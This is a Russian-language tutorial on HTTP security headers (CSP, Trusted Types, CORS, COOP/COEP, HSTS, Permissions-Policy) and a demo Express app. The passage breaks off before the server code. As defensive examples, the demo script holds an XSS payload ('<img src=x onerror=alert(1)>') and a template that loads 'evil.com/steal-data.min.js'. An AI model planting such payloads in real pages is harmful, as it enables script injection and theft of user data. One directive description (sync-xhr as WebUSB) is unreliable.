Сначала мы с вами кратко разберем основные виды уязвимостей веб-приложений, а также основные виды атак, основанные на этих уязвимостях. Далее мы рассмотрим все современные заголовки, каждый — по отдельности. Это в теоретической части.
В практической части мы реализуем простое Express-приложение, развернем его на Heroku
и оценим безопасность с помощью WebPageTest
и Security Headers
. Также, учитывая большую популярность сервисов для генерации статических сайтов, мы настроим и развернем приложение с аналогичным функционалом на Netlify
.
Исходный код приложений находится здесь.
Демо Heroku-приложения можно посмотреть здесь, а Netlify-приложения - здесь.
Основными источниками истины при подготовке шпаргалки для меня послужили следующие ресурсы:
- Security headers quick reference - Google Developers
- OWASP Secure Headers Project
- Web security - MDN
Все заголовки условно можно разделить на три группы.
Заголовки для сайтов, на которых обрабатываются чувствительные (sensitive) данные пользователей
Content Security Policy (CSP)
;Trusted Types
.
Заголовки для всех сайтов
X-Content-Type-Options
;X-Frame-Options
;Cross-Origin Resource Policy (CORP)
;Cross-Origin Opener Policy (COOP)
;HTTP Strict Transport Security (HSTS)
.
Заголовки для сайтов с продвинутыми возможностями
Под продвинутыми возможностями в данном случае понимается возможность использования ресурсов сайта другими источниками (origins) или возможность встраивания или внедрения (embedding) сайта в другие приложения. Первое относится к сервисам вроде CDN
(Content Delivery Network — сеть доставки и дистрибуции содержимого), второе к сервисам вроде песочниц — специально выделенные (изолированные) среды для выполнения кода. Под источником понимается протокол, хост, домен и порт.
Cross-Origin Resource Sharing (CORS)
;Cross-Origin Embedder Policy (COEP)
.
Защита сайта от внедрения кода (injection vulnerabilities)
Угрозы, связанные с возможностью внедрения кода, возникают, когда непроверенные данные, обрабатываемые приложением, могут оказывать влияние на поведение приложения. В частности, это может привести к выполнению скриптов, управляемых атакующим (принадлежащих ему). Наиболее распространенным видом атаки, связанной с внедрением кода, является межсайтовый скриптинг (Cross-Site Scripting, XSS; к слову, сокращение XSS
было выбрано во избежание путаницы с CSS
) в различных формах, включая отраженные или непостоянные XSS
(reflected XSS), хранимые или постоянные XSS
(stored XSS), XSS
, основанные на DOM
(DOM XSS) и т.д.
XSS
может предоставить атакующему полный доступ к пользовательским данным, которые обрабатываются приложением, а также к другой информации в пределах источника.
Традиционными способами защиты от XSS
являются: автоматическое экранирование шаблонов HTML
с помощью специальных инструментов, отказ от использования небезопасных JavaScript API
(например, eval()
или innerHTML
), хранение данных пользователей в другом источнике и обезвреживание или обеззараживание (sanitizing) данных, поступающих от пользователей, например, через заполнение ими полей формы.
Рекомендации
- используйте
CSP
для определения того, какие скрипты могут выполняться в вашем приложении; - используйте
Trusted Types
для обезвреживания данных, передаваемых в небезопасныеAPI
; - используйте
X-Content-Type-Options
для предотвращения неправильной интерпретации браузером MIME-типов загружаемых ресурсов.
Изоляция сайта
Открытость веба позволяет сайтам взаимодействовать друг с другом способами, которые могут привести к нарушениям безопасности. Это включает в себя отправку "неожиданных" запросов на аутентификацию или загрузку данных из приложения в документ атакующего, что позволяет последнему читать или даже модифицировать эти данные.
Наиболее распространенными уязвимостями, связанными с публичностью (общей доступностью) приложения, являются кликджекинг (clickjacking), межсайтовая подделка запросов (Cross-Site Request Forgery, XSRF), межсайтовое добавление или включение скриптов (Cross-Site Script Inclusion, XSSI) и различные утечки информации между источниками.
Рекомендации
- используйте
X-Frame-Options
для предотвращения встраивания вашего документа в другие приложения; - используйте
CORP
для предотвращения возможности использования ресурсов вашего сайта другими источниками; - используйте
COOP
для защиты окон (windows) вашего приложения от взаимодействия с другими приложениями; - используйте
CORS
для управления доступом к ресурсам вашего сайта из других источников.
Безопасность сайтов со сложным функционалом
Spectre
делает любые данные, загруженные в одну и ту же группу контекста просмотра (browsing context group), потенциально общедоступными, несмотря на правило ограничения домена. Браузеры ограничивают возможности, которые могут привести к нарушению безопасности с помощью среды выполнения кода под названием "межсайтовая изоляция" (Cross-Origin Isolation). Это, в частности, позволяет безопасно использовать такие мощные возможности, как SharedArrayBuffer
.
Рекомендации
- используйте
COEP
совместно сCOOP
для обеспечения межсайтовой изоляции приложения.
Шифрование исходящего трафика
Недостаточное шифрование передаваемых данных может привести к тому, что атакующий, в случае перехвата этих данных, получит информацию о взаимодействии пользователей с приложением.
Неэффективное шифрование может быть обусловлено следующим:
- использование
HTTP
вместоHTTPS
; - смешанный контент (когда одни ресурсы загружаются по
HTTPS
, а другие — поHTTP
); - куки без атрибута
Secure
или соответствующего префикса (также имеет смысл определять настройкуHttpOnly
); - слабая политика
CORS
.
Рекомендации
- используйте
HSTS
для обслуживания всего контента вашего приложения черезHTTPS
.
Перейдем к рассмотрению заголовков.
XSS
— это атака, когда уязвимость, существующая на сайте, позволяет атакующему внедрять и выполнять свои скрипты. CSP
предоставляет дополнительный слой для отражения таких атак посредством ограничения скриптов, которые могут выполняться на странице.
Инженеры из Google
рекомендуют использовать строгий режим CSP
. Это можно сделать одним из двух способов:
- если HTML-страницы рендерятся на сервере, следует использовать основанный на случайном значении (nonce-based)
CSP
; - если разметка является статической или доставляется из кеша, например, в случае, когда приложение является одностраничным (
SPA
), следует использовать основанный на хеше (hash-based)CSP
.
Пример использования nonce-based CSP:
Content-Security-Policy:
script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
Использование CSP
Обратите внимание: CSP
является дополнительной защитой от XSS-атак, основная защита состоит в обезвреживании данных, вводимых пользователем.
1. Nonce-based CSP
nonce
— это случайное число, которое используется только один раз. Если у вас нет возможности генерировать такое число для каждого ответа, тогда лучше использовать hash-based CSP.
Генерируем nonce
на сервере для скрипта в ответ на каждый запрос и устанавливаем следующий заголовок:
Content-Security-Policy:
script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
Затем в разметке устанавливаем каждому тегу script
атрибут nonce
со значением строки {RANDOM1}
:
<script nonce="{RANDOM1}" src="https://example.com/script1.js"></script>
<script nonce="{RANDOM1}">
// ...
</script>
Хорошим примером использования nonce-based CSP является сервис Google Фото
.
2. Hash-based CSP
Сервер:
Content-Security-Policy:
script-src 'sha256-{HASH1}' 'sha256-{HASH2}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
В данном случае можно использовать только встроенные скрипты, поскольку большинство браузеров в настоящее время не поддерживает хеширование внешних скриптов.
<script>
// встроенный script1
</script>
<script>
// встроенный script2
</script>
CSP Evaluator
— отличный инструмент для оценки CSP
.
Заметки:
https:
— это резервный вариант дляFirefox
, аunsafe-inline
— для очень старых браузеров;- директива
frame-ancestors
защищает сайт от кликджекинга, запрещая другим сайтам использовать контент вашего приложения.X-Frame-Options
является более простым решением, ноframe-ancestors
позволяет выполнять тонкую настройку разрешенных источников; CSP
можно использовать для обеспечения загрузки всех ресурсов поHTTPS
. Это не слишком актуально, поскольку в настоящее время большинство браузеров блокирует смешанный контент;CSP
можно использовать в режиме только для чтения (report-only mode);CSP
может быть установлен в разметке как мета-тег.
В рассматриваемом заголовке можно использовать следующие директивы:
Директива | Описание |
---|---|
base-uri | Определяет базовый URI для относительных |
default-src | Определяет политику загрузки ресурсов всех типов при отсутствии специальной директивы (политику по умолчанию) |
script-src | Определяет скрипты, которые могут выполняться на странице |
object-src | Определяет, откуда могут загружаться ресурсы - плагины |
style-src | Определяет стили, которые могут применяться на странице |
img-src | Определяет, откуда могут загружаться изображения |
media-src | Определяет, откуда могут загружаться аудио и видеофайлы |
child-src | Определяет, откуда могут загружаться фреймы |
frame-ancestors | Определяет, где (в каких источниках) ресурс может загружаться во фреймы |
font-src | Определяет, откуда могут загружаться шрифты |
connect-src | Определяет разрешенные URI |
manifest-src | Определяет, откуда могут загружаться файлы манифеста |
form-action | Определяет, какие URI могут использоваться для отправки форм (в атрибуте action ) |
sandbox | Определяет политику песочницы (sandbox policy) HTML , которую агент пользователя применяет к защищенному ресурсу |
script-nonce | Определяет, что для выполнения скрипта требуется наличие уникального значения |
plugin-types | Определяет набор плагинов, которые могут вызываться защищенным ресурсом посредством ограничения типов встраиваемых ресурсов |
reflected-xss | Используется для активации/деактивации эвристических методов браузера для фильтрации или блокировки отраженных XSS-атак |
block-all-mixed-content | Запрещает загрузку смешанного контента |
upgrade-insecure-requests | Определяет, что небезопасные ресурсы (загружаемые по HTTP ) должны загружаться по HTTPS |
report-to | Определяет группу (указанную в заголовке Report-To ), в которую отправляются отчеты о нарушениях политики |
Возможные значения директив для нестрогого режима CSP
:
'self'
— ресурсы могут загружаться только из данного источника;'none'
— запрет на загрузку ресурсов;*
— ресурсы могут загружаться из любого источника;example.com
— ресурсы могут загружаться только изexample.com
.
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src example.com
В данном случае изображения могут быть загружены из любого источника, другие медиафайлы — только с media1.com
и media2.com
(исключая их поддомены), скрипты — только с example.com
.
XSS
, основанный на DOM
— это атака, когда вредоносный код передается в приемник, который поддерживает динамическое выполнение кода, такой как eval()
или innerHTML
.
Trusted Types
предоставляет инструменты для создания, модификации и поддержки приложений, полностью защищенных от DOM XSS
. Этот режим может быть включен через CSP
. Он делает JavaScript-код безопасным по умолчанию посредством ограничения значений, принимаемых небезопасными API
, специальным объектом — Trusted Type
.
Для создания таких объектов можно определить политики, которые проверяют соблюдение правил безопасности (таких как экранирование и обезвреживание) перед записью данных в DOM
. Затем эти политики помещаются в код, который может представлять интерес для DOM XSS
.
Пример использования
Включаем Trusted Types
для опасных приемников DOM
:
Content-Security-Policy: require-trusted-types-for 'script'
В настоящее время единственным доступным значением директивы require-trusted-types-for
является script
.
Разумеется, Trusted Types
можно комбинировать с другими директивами CSP
:
Content-Security-Policy:
script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
C помощью директивы trusted-types
можно ограничить пространство имен для политик Trusted Types
, например, trusted-types myPolicy
.
Определяем политику:
// проверяем поддержку
if (window.trustedTypes && trustedTypes.createPolicy) {
// создаем политику
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: (str) => str.replace(/\</g, '<').replace(/>/g, '>')
})
}
Применяем политику:
// будет выброшено исключение
el.innerHTML = 'some string'
// ок
const escaped = policy.createHTML('<img src=x onerror=alert(1)>')
el.innerHTML = escaped // '<img src=x onerror=alert(1)>'
Директива require-trusted-types-for 'script'
делает использование доверенного типа обязательным. Любая попытка использовать строку в небезопасном API
завершится ошибкой.
Подробнее о Trusted Types
можно почитать здесь.
Когда вредоносный HTML-документ обслуживается вашим доменом (например, когда изображение, загружаемое в сервис хранения фотографий, содержит валидную разметку), некоторые браузеры могут посчитать его активным документом и разрешить ему выполнять скрипты в контексте приложения.
X-Content-Type-Options: nosniff
заставляет браузер проверять корректность MIME-типа в заголовке полученного ответа Content-Type
. Рекомендуется устанавливать такой заголовок для всех загружаемых ресурсов.
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Если вредоносный сайт будет иметь возможность встраивать ваше приложение как iframe
, это может предоставить атакующему возможность вызывать непреднамеренные действия пользователей через кликджекинг. В некоторых случаях это также позволяет атакующему изучать содержимое документа.
X-Frame-Options
является индикатором того, должен ли ваш сайт рендериться в <frame>,
<iframe>
, <embed>
или <object>
.
Для того, чтобы разрешить встраивание только определенных страниц сайта, используется директива frame-ancestors
заголовка CSP
.
Примеры использования
Полностью запрещаем внедрение:
X-Frame-Options: DENY
Разрешаем создание фреймов только на собственном сайте:
X-Frame-Options: SAMEORIGIN
Обратите внимание: по умолчанию все документы являются встраиваемыми.
Атакующий может внедрить ресурсы вашего сайта в свое приложение с целью получения информации о сайте.
CORP
определяет, какие сайты могут внедрять ресурсы вашего приложения. Данный заголовок принимает 1 из 3 возможных значений: same-origin
, same-site
и cross-origin
.
Для сервисов вроде CDN
рекомендуется использовать значение cross-origin
, если для них не определен соответствующий заголовок CORS
.
Cross-Origin-Resource-Policy: cross-origin
same-origin
разрешает внедрение ресурсов страницами, принадлежащими к одному источнику. Данное значение применяется в отношении чувствительной информации о пользователях или ответов от API
, которые рассчитаны на использование в пределах данного источника.
Обратите внимание: ресурсы все равно будут доступны для загрузки, поскольку CORP
ограничивает только внедрение этих ресурсов в другие источники.
Cross-Origin-Resource-Policy: same-origin
same-site
предназначен для ресурсов, которые используются не только доменом (как в случае с same-origin
), но и его поддоменами.
Cross-Origin-Resource-Policy: same-site
Если сайт атакующего может открывать другой сайт в поп-апе (всплывающем окне), то у атакующего появляется возможность для поиска межсайтовых источников утечки информации. В некоторых случаях это также позволяет реализовать атаку с использованием побочных каналов, описанную в Spectre
.
Заголовок Cross-Origin-Opener-Policy
позволяет запретить открытие сайта с помощью метода window.open()
или ссылки target="_blank"
без rel="noopener"
. Как результат, у того, кто попытается открыть сайт такими способами, не будет ссылки на сайт, и он не сможет с ним взаимодействовать.
Значение same-origin
рассматриваемого заголовка позволяет полностью запретить открытие сайта в других источниках.
Cross-Origin-Opener-Policy: same-origin
Значение same-origin-allow-popups
также защищает документ от открытия в поп-апах других источников, но позволяет приложению взаимодействовать с собственными поп-апами.
Cross-Origin-Opener-Policy: same-origin-allow-popups
unsafe-none
является значением по умолчанию, оно разрешает открытие сайта в виде поп-апа в других источниках.
Cross-Origin-Opener-Policy: unsafe-none
Мы можем получать отчеты от COOP
:
Cross-Origin-Opener-Policy: same-origin; report-to="coop"
COOP
также поддерживает режим report-only
, позволяющий получать отчеты о нарушениях без их блокировки.
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop"
CORS
— это не заголовок, а механизм, используемый браузером для предоставления доступа к ресурсам приложения.
По умолчанию браузеры используют политику одного источника или общего происхождения, которая запрещает доступ к таким ресурсам из других источников. Например, при загрузке изображения из другого источника, даже несмотря на его отображение на странице, JavaScript-код не будет иметь к нему доступа. Провайдер ресурса может предоставить такой доступ через настройку CORS
с помощью двух заголовков:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Использование CORS
Начнем с того, что существует два типа HTTP-запросов. В зависимости от деталей запроса он может быть классифицирован как простой или сложный (запрос, требующий отправки предварительного запроса).
Критериями простого запроса является следующее:
- методом запроса является
GET
,HEAD
илиPOST
; - кастомными заголовками могут быть только
Accept
,Accept-Language
,Content-Language
иContent-Type
; - значением заголовка
Content-Type
может быть толькоapplication/x-www-form-urlencoded
,multipart/form-data
илиtext/plain
.
Все остальные запросы считаются сложными.
Простой запрос
В данном случае браузер отправляет запрос к другому источнику с заголовком Origin
, значением которого является источник запроса:
Get / HTTP/1.1
Origin: https://example.com
Ответ:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://example.com
означает, чтоhttps://example.com
имеет доступ к содержимому ответа. Если значением данного заголовка является*
, ресурсы будут доступны любому сайту. В этом случае полномочия (credentials) не требуются;Access-Control-Allow-Credentials: true
означает, что запрос на получение ресурсов должен содержать полномочия (куки). При отсутствии полномочий в запросе, даже при наличии источника в заголовкеAccess-Control-Allow-Origin
, запрос будет отклонен.
Сложный запрос
Перед сложным запросом выполняется предварительный. Он выполняется методом OPTIONS
для определения того, может ли быть отправлен основной запрос:
OPTIONS / HTTP/1.1
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
Access-Control-Request-Method: POST
— следующий запрос будет отправлен методомPOST
;Access-Control-Request-Headers: X-PINGOTHER, Content-Type
— следующий запрос будет отправлен с заголовкамиX-PINGOTHER
иContent-Type
.
Ответ:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: POST, GET, OPTIONS
— следующий запрос может выполняться указанными методами;Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
— следующий запрос может содержать указанные заголовки;Access-Control-Max-Age: 86400
— результат сложного запроса будет записан в кеш и будет там храниться на протяжении 86400 секунд.
Для предотвращения кражи ресурсов из других источников с помощью атак, описанных в Spectre
, такие возможности, как SharedArrayBuffer
, performance.measureUserAgentSpecificMemory()
или JS Self Profiling API
, по умолчанию отключены.
Cross-Origin-Embedder-Policy: require-corp
запрещает документам и воркерам (workers) загружать изображения, скрипты, стили, фреймы и другие ресурсы до тех пор, пока доступ к ним не разрешен с помощью заголовков CORS
или CORP
. COEP
может использоваться совместно с COOP
для настройки межсайтовой изоляции документа.
На данный момент require-corp
является единственным доступным значением рассматриваемого заголовка, кроме unsafe-none
, которое является значением по умолчанию.
Полная межсайтовая изоляция приложения
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Изоляция с отчетами о блокировках
Cross-Origin-Embedder-Policy: require-corp; report-to="coep"
Только отчеты
Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="coep"
Данные, передаваемые по HTTP
, не шифруются, что делает их доступными для перехватчиков на уровне сети.
Заголовок Strict-Transport-Security
запрещает использование HTTP
. При наличии данного заголовка браузер будет использовать HTTPS
без перенаправления на HTTP
(при отсутствии ресурса по HTTPS
) в течение указанного времени (max-age
).
Strict-Transport-Security: max-age=31536000
Директивы
max-age
— время в секундах, в течение которого браузер должен "помнить", что сайт доступен только поHTTPS
;includeSubDomains
— распространяет политику на поддомены.
Заголовок Referrer-Policy
определяет содержание информации о реферере, указываемой в заголовке Referer
. Заголовок Referer
содержит адрес запроса, например, адрес предыдущей страницы или адрес загруженного изображения (или другого ресурса). Он используется для аналитики, логирования, оптимизации кеша и т.д. Однако он также может использоваться для слежения или кражи информации, выполнения побочных эффектов, приводящих к утечке чувствительных пользовательских данных и т.д.
Referrer-Policy: no-referrer
Возможные значения
Значение | Описание |
---|---|
no-referrer | Заголовок Referer не включается в запрос |
no-referrer-when-downgrade | Значение по умолчанию. Реферер указывается при выполнении запроса между HTTPS и HTTPS , но не указывается при выполнении запроса между HTTPS и HTTP |
origin | Указывается только источник запроса (например, реферером документа https://example.com/page.html будет https://example.com ) |
origin-when-cross-origin | При выполнении запроса в пределах одного источника указывается полный URL , иначе указывается только источник (как в предыдущем примере) |
same-origin | При выполнении запроса в пределах одного источника указывается источник, в противном случае, реферер не указывается |
strict-origin | Похоже на no-referrer-when-downgrade , но указывается только источник |
strict-origin-when-cross-origin | Сочетание strict-origin и origin-when-cross-origin |
unsafe-url | Всегда указывается полный URL |
Обратите внимание: данный заголовок в настоящее время не поддерживается мобильным Safari
.
Заголовок Clear-Site-Data
запускает очистку хранящихся в браузере данных (куки, хранилище, кеш), связанных с источником. Это предоставляет разработчикам контроль над данными, локально хранящимися в браузере пользователя. Данный заголовок может использоваться, например, в процессе выхода пользователя из приложения (logout) для очистки данных, хранящихся на стороне клиента.
Clear-Site-Data: "*"
Возможные значения:
Значение | Описание |
---|---|
"cache" | Сообщает браузеру, что сервер хочет очистить локально кешированные данные для источника ответа на запрос |
"cookies" | Сообщает браузеру, что сервер хочет удалить все куки для источника. Данные для аутентификации также будут очищены. Это влияет как на сам домен, так и на его поддомены |
"storage" | Сообщает браузеру, что сервер хочет очистить все хранилища браузера (localStorage , sessionStorage , IndexedDB , регистрация сервис-воркеров — для каждого зарегистрированного СВ вызывается метод unregister() , AppCache , WebSQL , данные FileSystem API , данные плагинов) |
"executionContexts" | Сообщает браузеру, что сервер хочет перезагрузить все контексты браузера (в настоящее время почти не поддерживается) |
"*" | Сообщает браузеру, что сервер хочет удалить все данные |
Обратите внимание: данный заголовок в настоящее время не поддерживается Safari
.
Данный заголовок является заменой заголовка Feature-Policy
и предназначен для управления доступом к некоторым продвинутым возможностям.
Permissions-Policy: camera=(), fullscreen=*, geolocation=(self "https://example.com" "https://another.example.com")
В данном случае мы полностью запрещаем доступ к камере (видеовходу) устройства, разрешаем доступ к методу requestFullScreen()
(для включения полноэкранного режима воспроизведения видео) для всех, а к информации о местонахождении устройства — только для источников example.com
и another.example.com
.
Возможные директивы
Директива | Описание |
---|---|
accelerometer | Управляет тем, может ли текущий документ собирать информацию об акселерации (проекции кажущегося ускорения) устройства с помощью интерфейса Accelerometer |
ambient-light-sensor | Управляет тем, может ли текущий документ собирать информацию о количестве света в окружающей устройство среде с помощью интерфейса AmbientLightSensor |
autoplay | Управляет тем, может ли текущий документ автоматически воспроизводить медиа, запрошенное через интерфейс HTMLMediaElement |
battery | Определяет возможность использования Battery Status API |
camera | Определяет возможность использования видеовхода устройства |
display-capture | Определяет возможность захвата экрана с помощью метода getDisplayMedia() |
document-domain | Определяет возможность установки document.domain |
encrypted-media | Определяет возможность использования Encrypted Media Extensions API (EME) |
execution-while-not-rendered | Определяет возможность выполнения задач во фреймах без их рендеринга (например, когда они скрыты или их свойство diplay имеет значение none ) |
execution-while-out-of-viewport | Определяет возможность выполнения задач во фреймах, находящихся за пределами области просмотра |
fullscreen | Определяет возможность использования метода requestFullScreen() |
geolocation | Определяет возможность использования Geolocation API |
gyroscope | Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Gyroscope API |
layout-animations | Определяет возможность показа анимации |
legacy-image-formats | Определяет возможность отображения изображений устаревших форматов |
magnetometer | Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Magnetometer API |
microphone | Определяет возможность использования аудиовхода устройства |
midi | Определяет возможность использования Web MIDI API |
navigation-override | Определяет возможность управления пространственной навигацией (spatial navigation) механизмами, разработанными автором приложения |
oversized-images | Определяет возможность загрузки и отображения больших изображений |
payment | Определяет возможность использования Payment Request API |
picture-in-picture | Определяет возможность воспроизведения видео в режиме "картинка в картинке" |
publickey-credentials-get | Определяет возможность использования Web Authentication API для извлечения публичных ключей, например, через navigator.credentials.get() |
sync-xhr | Определяет возможность использования WebUSB API |
vr | Определяет возможность использования WebVR API |
wake-lock | Определяет возможность использования Wake Lock API для запрета переключения устройства в режим сохранения энергии |
screen-wake-lock | Определяет возможность использования Screen Wake Lock API для запрета блокировки экрана устройства |
web-share | Определяет возможность использования Web Share API для передачи текста, ссылок, изображений и другого контента |
xr-spatial-tracking | Определяет возможность использования WebXR Device API для взаимодействия с сессией WebXR |
Возможные значения
=()
— полный запрет;=*
— полный доступ;(self "https://example.com")
— предоставление разрешения только указанному источнику.
Спецификация рассматриваемого заголовка находится в статусе рабочего черновика, поэтому его поддержка оставляет желать лучшего:
Перейдем к практической части.
Создаем директорию для проекта, переходим в нее и инициализируем проект:
mkdir secure-app
cd !$
yarn init -yp
# или
npm init -y
Формируем структуру проекта:
- public
- favicon.png
- index.html
- style.css
- script.js
- index.js
- .gitignore
- ...
Иконку можно найти здесь.
Набросаем какой-нибудь незамысловатый код.
В public/index.html
мы подключаем иконку, стили, скрипт, Google-шрифты, Bootstrap
и Boostrap Icons
через CDN
, создаем элементы для заголовка, даты, времени и кнопок:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Secure App</title>
<link rel="icon" href="favicon.png" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x"
crossorigin="anonymous"
/>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css"
/>
<link rel="stylesheet" href="style.css" />
</head>
<body>
<div class="container">
<h1>Secure App</h1>
<p>
<i class="bi bi-calendar"></i>
Сегодня <time class="date"></time>
</p>
<p>
<i class="bi bi-clock"></i>
Сейчас <time class="time"></time>
</p>
<div class="buttons">
<button class="btn btn-danger btn-stop">Остановить таймер</button>
<button class="btn btn-primary btn-add">Добавить шаблон</button>
<button class="btn btn-success btn-get">Получить заголовки</button>
</div>
</div>
<script src="script.js"></script>
</body>
</html>
Добавляем стили в public/style.css
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Montserrat', sans-serif;
}
body {
min-height: 100vh;
display: grid;
place-content: center;
text-align: center;
}
h1 {
margin: 0.5em 0;
text-transform: uppercase;
font-size: 3rem;
}
p {
font-size: 1.15rem;
}
.buttons {
margin: 0.5em 0;
display: flex;
flex-direction: column;
align-items: center;
gap: 0.5em;
}
button {
cursor: pointer;
}
pre {
margin: 0.5em 0;
white-space: pre-wrap;
text-align: left;
}
В public/script.js
мы делаем следующее:
- определяем политику доверенных типов;
- создаем утилиты для получения ссылки на DOM-элемент, форматирования даты и времени и регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события
click
); - получаем ссылки на DOM-элементы;
- определяем настройки для форматирования даты и времени;
- добавляем дату и время в качестве текстового содержимого соответствующих элементов;
- определяем колбэки для обработчиков: для остановки таймера, добавления HTML-шаблона с потенциально опасным кодом и получения HTTP-заголовков;
- регистрируем обработчики.
// политика доверенных типов
let policy
if (window.trustedTypes && trustedTypes.createPolicy) {
policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: (str) => str.replace(/\</g, '<').replace(/>/g, '>')
})
}
// утилиты
// для получения ссылки на DOM-элемент
const getEl = (selector, parent = document) => parent.querySelector(selector)
// для форматирования даты и времени
const getDate = (options, locale = 'ru-RU', date = Date.now()) =>
new Intl.DateTimeFormat(locale, options).format(date)
// для регистрации обработчика
const on = (el, cb, event = 'click', options = { once: true }) =>
el.addEventListener(event, cb, options)
// ссылки на DOM-элементы
const containerEl = getEl('.container')
const dateEl = getEl('.date', containerEl)
const timeEl = getEl('.time', containerEl)
const stopBtnEl = getEl('.btn-stop', containerEl)
const addBtnEl = getEl('.btn-add', containerEl)
const getBtnEl = getEl('.btn-get', containerEl)
// настройки для даты
const dateOptions = {
weekday: 'long',
day: 'numeric',
month: 'long',
year: 'numeric'
}
// настройки для времени
const timeOptions = {
hour: 'numeric',
minute: 'numeric',
second: 'numeric'
}
// добавляем текущую дату в качестве текстового содержимого соответствующего элемента
dateEl.textContent = getDate(dateOptions)
// добавляем текущее время в качестве текстового содержимого соответствующего элемента каждую секунду
const timerId = setInterval(() => {
timeEl.textContent = getDate(timeOptions)
}, 1000)
// колбэки для обработчиков (в каждом колбэке происходит удаление соответствующей кнопки)
// для остановки таймера
const stopTimer = () => {
clearInterval(timerId)
stopBtnEl.remove()
}
// для добавления HTML-шаблона с потенциально вредоносным кодом
const addTemplate = () => {
const evilTemplate = `<script src="https://evil.com/steal-data.min.js"></script>`
// при попытке вставить необезвреженный шаблон будет выброшено исключение
// Uncaught TypeError: Failed to execute 'insertAdjacentHTML' on 'Element': This document requires 'TrustedHTML' assignment.
containerEl.insertAdjacentHTML('beforeend', policy.createHTML(evilTemplate))
addBtnEl.remove()
}
// для получения HTTP-заголовков
const getHeaders = () => {
const req = new XMLHttpRequest()
req.open('GET', location, false)
req.send(null)
const headers = req.getAllResponseHeaders()
const preEl = document.createElement('pre')
preEl.textContent = headers
containerEl.append(preEl)
getBtnEl.remove()
}
// регистрируем обработчики
on(stopBtnEl, stopTimer)
on(addBtnEl, addTemplate)
on(getBtnEl, getHeaders)
Устанавливаем зависимости.
Для продакшна:
yarn add express
Для разработки:
yarn add -D nodemon open-cli
express
— Node.js-фреймворк, упрощающий разработку сервера;nodemon
— утилита для запуска сервера для разработки и его автоматического перезапуска при обновлении соответствующего файла;open-cli
— утилита для автоматического открытия вкладки браузера по указанному адресу.
Определяем в package.json
команды для запуска серверов:
"scripts": {
"dev": "open-cli http://localhost:3000 && nodemon index.js",
"start": "node index.js"
}
Приступаем к реализации сервера.
Справедливости ради следует отметить, что в экосистеме Node.js
имеется специальная утилита для установки HTTP-заголовков, связанных с безопасностью веб-приложений — Helmet
. Шпаргалку по работе с этой утилитой вы найдете здесь.
Также существует специальная утилита для работы с CORS
— Cors
. Шпаргалку по работе с этой утилитой вы найдете здесь.
Большинство заголовков можно определить сразу:
// предотвращаем `MIME sniffing`
'X-Content-Type-Options': 'nosniff',
// для старых браузеров, плохо поддерживающих `CSP`
'X-Frame-Options': 'DENY',
'X-XSS-Protection': '1; mode=block',
// по умолчанию браузеры блокируют CORS-запросы
// дополнительные CORS-заголовки
'Cross-Origin-Resource-Policy': 'same-site',
'Cross-Origin-Opener-Policy': 'same-origin-allow-popups',
'Cross-Origin-Embedder-Policy': 'require-corp',
// запрещаем включать информацию о реферере в заголовок `Referer`
'Referrer-Policy': 'no-referrer',
// инструктируем браузер использовать `HTTPS` вместо `HTTP`
// 31536000 секунд — это 365 дней
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains'
Также добавим заголовок Expect-CT
:
// 86400 секунд — это 1 сутки
'Expect-CT': 'enforce, max-age=86400'
Блокируем доступ к камере, микрофону, информации о местонахождении и Payment Request API
:
'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'
Директивы для CSP
:
'Content-Security-Policy': `
// запрещаем загрузку плагинов
object-src 'none';
// разрешаем выполнение только собственных скриптов
script-src 'self';
// разрешаем загрузку только собственных изображений
img-src 'self';
// разрешаем открытие приложения только в собственных фреймах
frame-ancestors 'self';
// включаем политику доверенных типов для скриптов
require-trusted-types-for 'script';
// блокируем смешанный контент
block-all-mixed-content;
// инструктируем браузер использовать `HTTPS` для ресурсов, загружаемых по `HTTP`
upgrade-insecure-requests
`
Обратите внимание: все директивы должны быть указаны в одну строку без переносов. Мы не определяем директивы для стилей и шрифтов, поскольку они загружаются из других источников.
Также обратите внимание, что мы не используем nonce
для скриптов, поскольку мы не рендерим разметку на стороне сервера, но я приведу соответствующий код.
index.js
:
